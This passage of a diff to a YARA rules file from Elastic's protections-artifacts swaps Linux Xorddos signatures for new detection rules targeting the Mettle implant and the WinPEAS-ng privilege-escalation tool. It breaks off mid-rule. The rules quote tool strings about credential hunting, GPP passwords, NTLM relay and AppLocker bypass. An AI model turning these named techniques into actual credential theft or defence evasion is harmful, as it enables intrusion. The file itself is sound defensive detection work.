 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dbd1275bd01fb08342e60cb0c20adaf42971ed6ee0f679fedec9bc6967ecc015"
+		fingerprint = "6b350abfda820ee4c6e7aa84f732ab4527c454b93ae13363747f024bb8c5e3b4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104038,28 +108633,37 @@ rule ELASTIC_Linux_Trojan_Xorddos_71F8E26C : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 24 8D 64 24 04 1B 07 87 DA 8B 5D F4 52 87 DA 5B 83 C2 03 52 8B 54 }
+		$process_set_nonblocking_stdio = { 55 89 E5 53 83 EC 08 E8 ?? ?? ?? ?? 81 C3 3D 32 0D 00 6A 00 6A 03 6A 00 E8 ?? ?? ?? ?? 83 C4 0C 80 CC 08 50 6A 04 6A 00 E8 ?? ?? ?? ?? 83 C4 0C 6A 00 6A 03 6A 01 E8 ?? ?? ?? ?? 83 C4 0C 80 CC 08 50 6A 04 6A 01 E8 }
+		$process_create = { 55 89 E5 57 56 53 81 EC 98 00 00 00 E8 ?? ?? ?? ?? 81 C3 A6 3B 0D 00 89 45 84 89 95 78 FF FF FF 89 4D 80 8B 7D 0C 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 10 40 0F ?? ?? ?? ?? ?? 50 50 68 B4 00 00 00 6A 01 E8 ?? ?? ?? ?? 89 C6 83 C4 10 85 C0 0F ?? ?? ?? ?? ?? F6 47 14 80 74 ?? 6A 00 6A 00 6A 00 8D 45 ?? 50 E8 ?? ?? ?? ?? 89 85 7C FF FF FF }
+		$process_read = { 55 89 E5 57 56 53 83 EC 1C E8 ?? ?? ?? ?? 81 C3 90 30 0D 00 8B 4D 08 8B 7D 0C 8B 75 10 83 C8 FF 85 C9 74 ?? 52 56 57 FF 71 24 89 4D E4 E8 ?? ?? ?? ?? 89 C2 83 C4 10 39 C6 8B 4D E4 76 ?? 50 29 D6 56 01 D7 89 55 E4 57 FF 71 48 E8 ?? ?? ?? ?? 8B 55 E4 01 C2 83 C4 10 89 D0 8D 65 ?? 5B 5E 5F 5D C3 }
+		$file_new = { 83 C4 10 52 52 50 FF 76 0C E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 10 8D 65 ?? 5B 5E 5F 5D C3 }
+		$file_read = { 55 89 E5 53 83 EC 10 E8 ?? ?? ?? ?? 81 C3 41 A7 0D 00 FF 75 08 E8 ?? ?? ?? ?? 50 FF 75 10 6A 01 FF 75 0C E8 ?? ?? ?? ?? 8B 5D FC C9 C3 }
+		$file_seek = { 55 89 E5 53 83 EC 10 E8 ?? ?? ?? ?? 81 C3 C0 A6 0D 00 FF 75 08 E8 ?? ?? ?? ?? 83 C4 0C FF 75 10 FF 75 0C 50 E8 ?? ?? ?? ?? 8B 5D FC C9 C3 }
+		$func_write_audio_file = { 55 89 E5 57 56 53 83 EC 18 E8 ?? ?? ?? ?? 81 C3 D8 23 0D 00 FF 75 08 E8 ?? ?? ?? ?? 89 C6 8B 45 10 03 06 89 06 5A 59 50 FF 76 04 E8 ?? ?? ?? ?? 89 C7 89 46 04 83 C4 10 83 C8 FF 85 FF 74 ?? 2B 7D 10 8B 06 01 F8 89 C7 8B 75 0C 8B 4D 10 F3 ?? 8B 45 10 8D 65 ?? 5B 5E 5F 5D C3 }
+		$func_is_compatible_elf = { 55 89 E5 56 53 E8 ?? ?? ?? ?? 81 C3 CF AB 05 00 8B 55 08 31 C0 81 3A 7F 45 4C 46 75 ?? 80 7A 04 01 75 ?? 0F B6 72 05 83 EC 0C 6A 01 E8 ?? ?? ?? ?? 83 C4 10 48 0F 94 C0 0F B6 C0 40 39 C6 0F 94 C0 0F B6 C0 83 E0 01 8D 65 ?? 5B 5E 5D C3 }
+		$func_stack_setup = { 89 DA 31 C0 8B 0C 86 85 C9 8D 40 ?? 74 ?? 89 0A 83 C2 04 EB ?? C7 02 00 00 00 00 C7 04 83 00 00 00 00 EB ?? 83 EC 0C 53 E8 ?? ?? ?? ?? 83 C4 10 8B 45 DC 89 45 10 8B 45 E0 89 45 0C 89 5D 08 8D 65 ?? 5B 5E 5F 5D }
+		$func_c2_new_struct = { C7 46 14 00 00 00 00 C7 46 10 00 00 00 00 C7 46 18 00 00 00 00 8D 83 ?? ?? ?? ?? 89 46 20 C7 46 24 00 00 00 00 C7 46 28 00 00 00 00 C7 46 2C 00 00 00 00 C7 46 30 00 00 F0 3F 89 76 1C 83 EC 0C 56 E8 }
 
 	condition:
-		all of them
+		2 of ($process*) and 2 of ($file*) and 2 of ($func*)
 }
-rule ELASTIC_Linux_Trojan_Xorddos_1A562D3B : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mettle_78Aead1C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Linux Trojan Mettle (Linux.Trojan.Mettle)"
 		author = "Elastic Security"
-		id = "1a562d3b-bc59-4cb7-9ac1-7a4a79232869"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "78aead1c-7dc2-4db0-a0b8-cccf2d583c67"
+		date = "2024-05-06"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L357-L375"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "15731db615b32c49c34f41fe84944eeaf2fc79dafaaa9ad6bf1b07d26482f055"
-		logic_hash = "8d3b369bdcecd675f99cedf26dba202256555be0f5feae612404f9b5e109fa93"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mettle.yar#L54-L81"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "864eae4f27648b8a9d9b0eb1894169aa739311cdd02b1435a34881acf7059d58"
+		logic_hash = "d68d37379b8a3a2d242030fd14884781488e9785823aa25fedfdd406748f8039"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e052e99f15f5a0f704c04cae412cf4b1f01a8ee6e4ce880aedc79cf5aee9631a"
+		fingerprint = "bf2b8bd0e12905ab4bed94c70dbd854a482446909ba255fceaee309efd69b835"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104067,231 +108671,305 @@ rule ELASTIC_Linux_Trojan_Xorddos_1A562D3B : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F0 87 1C 24 91 8D 64 24 FC 89 0C 24 8B C8 8B 04 24 87 D1 8D 64 }
+		$process_set_nonblocking_stdio = { 48 83 EC 08 31 D2 BE 03 00 00 00 31 FF 31 C0 E8 ?? ?? ?? ?? 80 CC 08 BE 04 00 00 00 31 FF 89 C2 31 C0 E8 ?? ?? ?? ?? 31 D2 BE 03 00 00 00 BF 01 00 00 00 31 C0 E8 ?? ?? ?? ?? 80 CC 08 BE 04 00 00 00 BF 01 00 00 00 89 C2 31 C0 E8 }
+		$process_create = { 41 57 41 56 49 89 CE 41 55 41 54 4D 89 C5 55 53 48 89 FB 48 89 D5 48 81 EC 88 00 00 00 48 8D ?? ?? ?? 48 89 34 24 E8 ?? ?? ?? ?? FF C0 0F ?? ?? ?? ?? ?? BE 20 01 00 00 BF 01 00 00 00 E8 ?? ?? ?? ?? 48 85 C0 49 89 C7 0F ?? ?? ?? ?? ?? 41 F6 45 28 80 74 ?? 48 8D ?? ?? ?? 31 C9 31 D2 31 F6 E8 ?? ?? ?? ?? 85 C0 }
+		$process_read = { 48 85 FF 74 ?? 41 55 41 54 49 89 FD 55 53 48 89 D5 49 89 F4 48 83 EC 08 48 8B 7F 38 E8 ?? ?? ?? ?? 48 39 C5 48 89 C3 76 ?? 49 8B 7D 70 48 89 EA 49 8D ?? ?? 48 29 C2 E8 ?? ?? ?? ?? 48 01 C3 5A 48 89 D8 5B 5D 41 5C 41 5D C3 }
+		$file_new = { 41 54 55 48 89 F5 53 48 89 FB 48 8B 7F 10 BE B2 04 01 00 E8 ?? ?? ?? ?? 48 8B 7B 10 BE B3 04 01 00 49 89 C4 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 48 8D ?? ?? ?? ?? ?? 48 89 C6 4C 89 E7 E8 ?? ?? ?? ?? 83 CA FF 48 85 C0 74 ?? 48 89 C6 48 89 EF E8 ?? ?? ?? ?? 31 D2 5B 89 D0 5D 41 5C C3 }
+		$file_read = { 53 48 89 F3 48 83 EC 10 48 89 54 24 08 E8 ?? ?? ?? ?? 48 8B 54 24 08 48 83 C4 10 48 89 DF 5B 48 89 C1 BE 01 00 00 00 E9 }
+		$file_seek = { 48 83 EC 18 48 89 74 24 08 89 54 24 04 E8 ?? ?? ?? ?? 8B 54 24 04 48 8B 74 24 08 48 89 C7 48 83 C4 18 E9 }
+		$func_write_audio_file = { 41 54 55 49 89 F4 53 48 89 D3 E8 ?? ?? ?? ?? 48 8B 30 48 8B 78 08 48 89 C5 48 01 DE 48 89 30 E8 ?? ?? ?? ?? 48 89 C7 48 89 45 08 48 83 C8 FF 48 85 FF 74 ?? 48 8B 45 00 48 29 DF 4C 89 E6 48 89 D9 48 01 F8 48 89 C7 48 89 D8 F3 ?? 5B 5D 41 5C C3 }
+		$func_is_compatible_elf = { 31 C0 81 3F 7F 45 4C 46 75 ?? 80 7F 04 02 75 ?? 53 0F B6 5F 05 BF 01 00 00 00 E8 ?? ?? ?? ?? FF C8 0F 94 C0 0F B6 C0 FF C0 39 C3 0F 94 C0 0F B6 C0 83 E0 01 5B C3 83 E0 01 C3 }
+		$func_stack_setup = { 48 89 EA 31 C0 49 8B 0C C0 48 FF C0 48 85 C9 74 ?? 48 89 0A 48 83 C2 08 EB ?? 48 C7 02 00 00 00 00 48 C7 44 C5 00 00 00 00 00 EB ?? 48 89 EF 4C 89 4C 24 08 E8 ?? ?? ?? ?? 4C 8B 4C 24 08 48 83 C4 10 48 89 DA 48 89 EF 5B 5D 41 5C 4C 89 CE }
+		$func_c2_new_struct = { 48 89 DF 48 C7 43 20 00 00 00 00 C7 43 28 00 00 00 00 48 C7 43 40 00 00 00 00 48 89 43 38 48 8B 05 D1 BE 09 00 48 89 5B 30 48 89 43 48 E8 }
 
 	condition:
-		all of them
+		2 of ($process*) and 2 of ($file*) and 2 of ($func*)
 }
-rule ELASTIC_Linux_Trojan_Xorddos_410256Ac : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Winpeas_Ng_66197D54 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "WinPEAS detection based on the dotNet binary, application module"
 		author = "Elastic Security"
-		id = "410256ac-fc7d-47f1-b7b8-82f1ee9f2bfb"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "66197d54-3cd2-4006-807d-24d0e0d9e25a"
+		date = "2022-12-21"
+		modified = "2023-02-01"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L377-L395"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "15f44e10ece90dec1a6104d5be1effefa17614d9f0cfb2784305dab85367b741"
-		logic_hash = "88227af6d2f365b761961bdf4b94bed81bca79e23d546e69900faa17c3e4dc71"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
+		logic_hash = "7bccf37960e2f197bb0021ecb12872f0f715b674d9774d02ec4e396f18963029"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "aa7f1d915e55c3ef178565ed12668ddd71bf3e982dba1f2436c98cceef2c376d"
+		fingerprint = "951f0ca036a0ab0cf2299382049eecb78f35325470f222c6db90a819b9414083"
+		threat_name = "Windows.Hacktool.WinPEAS-ng"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 24 04 87 CA 8B 4D 0C 52 87 CA 59 03 D1 55 8B EC C9 6A 08 F7 }
+		$win_0 = "Possible DLL Hijacking, folder is writable" ascii wide
+		$win_1 = "FolderPerms:.*" ascii wide
+		$win_2 = "interestingFolderRights" ascii wide
+		$win_3 = "(Unquoted and Space detected)" ascii wide
+		$win_4 = "interestingFolderRights" ascii wide
+		$win_5 = "RegPerms: .*" ascii wide
+		$win_6 = "Permissions file: {3}" ascii wide
+		$win_7 = "Permissions folder(DLL Hijacking):" ascii wide
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_93Fa87F1 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Winpeas_Ng_E8Ed269C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "WinPEAS detection based on the dotNet binary, checks module"
 		author = "Elastic Security"
-		id = "93fa87f1-ec9d-4b3b-9c9a-a0b80963f41f"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "e8ed269c-3191-44c0-a9c6-55172fb59c8c"
+		date = "2022-12-21"
+		modified = "2023-02-01"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L397-L415"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "165b4a28fd6335d4e4dfefb6c40f41f16d8c7d9ab0941ccd23e36cda931f715e"
-		logic_hash = "2a1e797d4dd2599b5c67e73e3c909a1803e604edf0b6ba228713ee375ccc9b16"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L29-L57"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
+		logic_hash = "c56b6dfb2c3ae657615c825a4d5d5640c2204fa4217262e1ccb4359d5a914a63"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3b53e54dfea89258a116dcdf4dde0b6ad583aff08d626c02a6f1bf0c76164ac7"
+		fingerprint = "7b6ede4d95b2d6d2a43e729365adb9de3fde74ed731cafdb88916ac3925f9164"
+		threat_name = "Windows.Hacktool.WinPEAS-ng"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 03 87 44 24 04 89 44 24 04 8B 04 24 8D 64 24 04 8B 00 9C 83 }
+		$win_0 = "systeminfo" ascii wide
+		$win_1 = "Please specify a valid log file." ascii wide
+		$win_2 = "argument present, redirecting output" ascii wide
+		$win_3 = "max-regex-file-size" ascii wide
+		$win_4 = "-lolbas" ascii wide
+		$win_5 = "[!] the provided linpeas.sh url:" ascii wide
+		$win_6 = "sensitive_files yaml" ascii wide
+		$win_7 = "Getting Win32_UserAccount" ascii wide
+		$win_8 = "(local + domain)" ascii wide
+		$win_9 = "Creating AppLocker bypass" ascii wide
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_8677Dca3 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Winpeas_Ng_413Caa6B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "WinPEAS detection based on the dotNet binary, event module"
 		author = "Elastic Security"
-		id = "8677dca3-e36b-439f-bc55-76d951114020"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "413caa6b-90b7-4763-97b3-49aeb5a97cf6"
+		date = "2022-12-21"
+		modified = "2023-02-01"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L417-L435"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "23813dc4aa56683e1426e5823adc3aab854469c9c0f3ec1a3fad40fa906929f2"
-		logic_hash = "9902758dfb61e8b60b281f3f51cda8a10d58eb0cc20743f97998d7bcf120c299"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L59-L87"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
+		logic_hash = "4f2417d61be5e68630408a151cd73372aef9e7f4638acf4e80bfa5b2811119a7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4d276b225f412b3879db19546c09d1dea2ee417c61ab6942c411bc392fee8e26"
+		fingerprint = "80b32022a69be8fc1d7e146c3c03623b51e2ee4206eb5f70be753477d68800d5"
+		threat_name = "Windows.Hacktool.WinPEAS-ng"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { F2 5E 83 C2 03 8B FF C1 E2 05 9C 83 C5 69 9D 8D 6D 97 03 C2 56 8B 74 }
+		$win_0 = "Interesting Events information" ascii wide
+		$win_1 = "PowerShell events" ascii wide
+		$win_2 = "Created (UTC)" ascii wide
+		$win_3 = "Printing Account Logon Events" ascii wide
+		$win_4 = "Subject User Name" ascii wide
+		$win_5 = "Target User Name" ascii wide
+		$win_6 = "NTLM relay might be possible" ascii wide
+		$win_7 = "You can obtain NetNTLMv2" ascii wide
+		$win_8 = "The following users have authenticated" ascii wide
+		$win_9 = "You must be an administrator" ascii wide
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_Ebce4304 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Winpeas_Ng_23Fee092 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "WinPEAS detection based on the dotNet binary, File analysis module"
 		author = "Elastic Security"
-		id = "ebce4304-0a06-454f-ad08-98b323e5b23a"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "23fee092-f1ff-4d9e-9873-0a68360efb42"
+		date = "2022-12-21"
+		modified = "2023-02-01"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L437-L455"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2e06caf864595f2df7f6936bb1ccaa1e0cae325aee8659ee283b2857e6ef1e5b"
-		logic_hash = "42fbfc2c2636c2e3a5da5e51c6bf99f6114ec7d00b88371a34e1fdbe81d1264a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L89-L115"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
+		logic_hash = "ed019c9198b5d9ff8392bfd7e0b23a7b1383eabce4c71c665a3ca4a943c8b6ee"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "20f0346bf021e3d2a0e25bbb3ed5b9c0a45798d0d5b2516b679f7bf17d1b040d"
+		fingerprint = "4420faa4da440a9e2b1d8eadef2a1864c078fccf391ac3d7872abe1d738c926e"
+		threat_name = "Windows.Hacktool.WinPEAS-ng"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 24 8D 64 24 04 87 54 24 00 56 8B 74 24 04 5E 9D 9C 83 C5 1E 9D 8D }
+		$win_0 = "File Analysis" ascii wide
+		$win_1 = "apache*" ascii wide
+		$win_2 = "tomcat*" ascii wide
+		$win_3 = "had a timeout (ReDoS avoided but regex" ascii wide
+		$win_4 = "Error looking for regex" ascii wide
+		$win_5 = "Looking for secrets inside" ascii wide
+		$win_6 = "files with ext" ascii wide
+		$win_7 = "(limited to" ascii wide
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_073E6161 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Winpeas_Ng_861D3264 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "WinPEAS detection based on the dotNet binary, File Info module"
 		author = "Elastic Security"
-		id = "073e6161-35a3-4e5e-a310-8cc50cb28edf"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "861d3264-34c3-4ff0-bdd3-44cb5ecce2c8"
+		date = "2022-12-21"
+		modified = "2023-02-01"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L457-L475"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2e06caf864595f2df7f6936bb1ccaa1e0cae325aee8659ee283b2857e6ef1e5b"
-		logic_hash = "2c98058add77c55ab68491eec041d7670f726a9ec93258ae7bb8f0e6721b4ca3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L117-L145"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
+		logic_hash = "e6a0a0a24c70d69c0aa56063d2db0f5a0fedcda5b96d945ac14520524b1d00fd"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "12d04597fd60ed143a1b256889eefee1f5a8c77f4f300e72743e3cfa98ba8e99"
+		fingerprint = "03803621b6c9856443809889a14f1d2fa217812007878dd6cf9c3dc9e5f78f65"
+		threat_name = "Windows.Hacktool.WinPEAS-ng"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { F9 83 F8 1F 77 33 80 BC 35 B9 FF FF FF 63 76 29 8B 44 24 14 40 8D }
+		$win_0 = "ConsoleHost_history.txt" ascii wide
+		$win_1 = "Interesting files and registry" ascii wide
+		$win_2 = "Cloud Credentials" ascii wide
+		$win_3 = "Accessed:{2} -- Size:{3}" ascii wide
+		$win_4 = "Unattend Files" ascii wide
+		$win_5 = "Looking for common SAM" ascii wide
+		$win_6 = "Found installed WSL distribution" ascii wide
+		$win_7 = "Check skipped, if you want to run it" ascii wide
+		$win_8 = "Cached GPP Passwords" ascii wide
+		$win_9 = "[cC][rR][eE][dD][eE][nN][tT][iI][aA][lL]|[pP][aA][sS][sS][wW][oO]" ascii wide
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_Bef22375 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Winpeas_Ng_57587F8C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "WinPEAS detection based on the dotNet binary, Network module"
 		author = "Elastic Security"
-		id = "bef22375-0a71-4f5b-bfd1-e2e718b5c36f"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "57587f8c-8fc6-41cc-bcb3-3d1d77c74222"
+		date = "2022-12-21"
+		modified = "2023-02-01"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L477-L495"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f47baf48deb71910716beab9da1b1e24dc6de9575963e238735b6bcedfe73122"
-		logic_hash = "3991ebdb310338516d5fdd137ba2ac63dc870337785a31d59dcad49135f190e5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L147-L175"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
+		logic_hash = "175b8b6f9fca189f2fc41f1029ad512db2c8b0e52ea04bfbc3d410d355928ab9"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "0128e8725a0949dd23c23addc1158d28c334cfb040aad2b8f8d58f39720c41ef"
+		fingerprint = "9938c60113963da342dcb7de2252cffbeaa21d36f518e203f19a43da74d85f2d"
+		threat_name = "Windows.Hacktool.WinPEAS-ng"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { C5 35 9D 8D 6D CB 8B 12 9C 83 C5 17 9D 8D 6D E9 6A 04 F7 14 24 FF }
+		$win_0 = "Network Information" ascii wide
+		$win_1 = "Network Shares" ascii wide
+		$win_2 = "Permissions.*" ascii wide
+		$win_3 = "Network Ifaces and known hosts" ascii wide
+		$win_4 = "Enumerating IPv4 connections" ascii wide
+		$win_5 = "Showing only DENY rules" ascii wide
+		$win_6 = "File Permissions.*|Folder Permissions.*" ascii wide
+		$win_7 = "DNS cached --limit" ascii wide
+		$win_8 = "SELECT * FROM win32_networkconnection" ascii wide
+		$win_9 = "Enumerating Internet settings," ascii wide
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Linux_Hacktool_Infectionmonkey_6C84537B : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Winpeas_Ng_Cae025B1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Infectionmonkey (Linux.Hacktool.Infectionmonkey)"
+		description = "WinPEAS detection based on the dotNet binary, Process info module"
 		author = "Elastic Security"
-		id = "6c84537b-6aa1-40d5-b14c-f78d7e67823d"
-		date = "2022-01-05"
-		modified = "2022-01-26"
+		id = "cae025b1-bc2a-4eea-a1c1-c82d6e4fd71f"
+		date = "2022-12-21"
+		modified = "2023-02-01"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Infectionmonkey.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d941943046db48cf0eb7f11e144a79749848ae6b50014833c5390936e829f6c3"
-		logic_hash = "24cb368040fffe2743d0361a955d45a62a95a31c1744f3de15089169e365bb89"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L177-L203"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
+		logic_hash = "9c34443cffed43513242321e2170484dbb0d41b251aee8ea640d44da76918122"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e9275f5fd8df389a4c99f69c09df1e3e515d8b958616e6d4d2c82d693deb4908"
+		fingerprint = "3e407824b258ef66ac6883d4c5dd3efeb0f744f8f64b099313cf83e96f9e968a"
+		threat_name = "Windows.Hacktool.WinPEAS-ng"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 75 14 8B 54 24 0C 83 FA FF 0F 44 D0 83 C4 1C 89 D0 C3 8D 74 }
